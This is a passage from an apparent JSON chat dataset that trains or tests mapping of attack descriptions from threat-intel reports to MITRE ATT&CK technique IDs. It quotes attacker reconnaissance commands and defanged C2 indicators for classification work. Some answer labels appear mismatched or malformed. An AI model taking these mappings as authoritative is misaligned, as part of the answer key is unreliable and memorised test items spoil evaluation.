                "role": "user",
                "content": "can use HTTP or DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used a .NET tool named dog.exe to exiltrate information over an e-mail account."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Cannon Trojan is written in C# and functions primarily as a downloader that relies on emails to communicate between the Trojan and the C2 server. To communicate with the C2 server, the Trojan will send emails to specific email addresses via SMTPS over TCP port 587"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mivast creates the following Registry entry: \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more"
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel can download additional modules from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has decrypted an AES encrypted binary file to trigger the download of other files."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to use JavaScript to execute PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has collected e-mail addresses for activists and bloggers in order to target them with spyware."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to compress files with zip."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can compress data with Zip before sending it over C2."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IndigoZebra sent spearphishing emails containing malicious password-protected RAR attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has enumerated hosts via Empire, gathering various local system information."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to detect several anti-virus products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay has the ability to uninstall itself by deleting its service and files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has encrypted command and control (C2) communications with a stream cipher."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea can use a network scanning module to identify ICS-related ports."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has used unverified signatures on malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used links embedded in e-mails to lure victims into executing malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Table 2 Sandbox evasion checks in the C# variant of RogueRobin Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications. The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1048 - Exfiltration Over Alternative Protocol', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used various strains of malware to query the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has edited the `Microsoft.IdentityServer.Servicehost.exe.config` file to load a malicious DLL into the AD FS process, thereby enabling persistent access to any service federated with AD FS for a user with a specified User Principal Name."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8's malicious spearphishing payloads are executed as PowerShell. FIN8 has also used PowerShell for lateral movement and credential access."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is digitally signed by Microsoft."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage can execute arbitrary commands with the command line."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used VPS hosting providers in targeting of intended victims."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa used an XSL file to run VBScript code."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover remote systems on a local network using the \"net view\" and \"net view /DOMAIN\" commands. Turla has also used \"net group \"Domain Computers\" /domain\", \"net group \"Domain Controllers\" /domain\", and \"net group \"Exchange Servers\" /domain\" to enumerate domain computers, including the organization's DC and Exchange Server."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  config file is encrypted with RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has locally staged encrypted archives for later exfiltration efforts."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each Casbaneiro sample using this method has the buyer’s ID hardcoded in its data. When it downloads such configuration file, it parses it and finds the line that is intended for the specific buyer’s ID and downloads and executes the payload"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Background From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects network adapter and interface information by using the commands \"ipconfig /all\", \"arp -a\" and \"route print\". It also collects the system's MAC address with \"getmac\" and domain configuration with \"net config workstation\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can use port 4782 on the compromised host for TCP callbacks."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE has used FakeTLS for session authentication."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware contains 1 function, the purpose is to open the drive of the infected system (\\\\.\\PhysicalDrive0) and write the following data to the MBR: You can see the \"Are you Happy. After writing to the MBR, the malware reboots the machine with the following command: c:\\windows\\system32\\shutdown /r /t 1 After the reboot, the MBR displays the following string to the user: The link to the other campaigns was the following PDB path"
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury can exfiltrate SSH credentials through custom DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT. Targeting and Infrastructure . As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. Every subsequent request made by BBSRAT increments this counter by one. The following commands and sub-commands have been identified: Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook"
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following code snippet was used to decode strings within OopsIE:out = \"\" for e in obfuscated_string.split(\"-\"):    out += chr(int(e)-1)When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can open random files and Registry keys to obscure malware behavior from sandbox analysis."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exfiltrated files stolen from file shares."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In June 2015, a number of web portal email accounts were hacked, sending emails with malicious Hangul document files and phishing emails to steal portal account credentials. In January 2016, a large number of emails with malicious attachments were sent under the guise of ‘Office of National Security at the Blue House’ to government research institutes. Analysis by related organizations identified the malicious attachment as Kimsuky malware [3"
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used web services including OneHub to distribute remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus collects the current username and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has injected an install module into a newly created process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT3 downloader establishes SOCKS5 connections for its initial C2."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winexe installs a service on the remote system, executes the command, then uninstalls the service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has tunneled RDP backdoors over port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the malware changes the password of the local users. In the files analyzed, all the passwords chosen by the actor have the same pattern: Aa153"
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat has uploaded files and data to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST used VBScripts to initiate the execution of payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second part of API hooking hooks on “GetExtendedTcpTable. GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat. The purpose of the hook is to remove TCP endpoint records of certain PIDs. The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has exploited known vulnerabilities in remote services including RDP."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The example C2s used by older variants of Comnie demonstrates this:  Figure 9 Old Comnie variants collecting C2 information Please refer to the Appendix for a script that may be used to decode C2 information from the older Comnie variants"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack’s dropper contains a keylogging executable."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT1 group is known to have used pass the hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. e@T#L$PH%\" as it is being passed along with the encrypted data. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information on network settings and Internet proxy settings from the victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates via ICMP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has installed updates and new malware on victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 uses remote services such as VPN, Citrix, or OWA to persist in an environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has used HTTP and HTTPS in communication with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
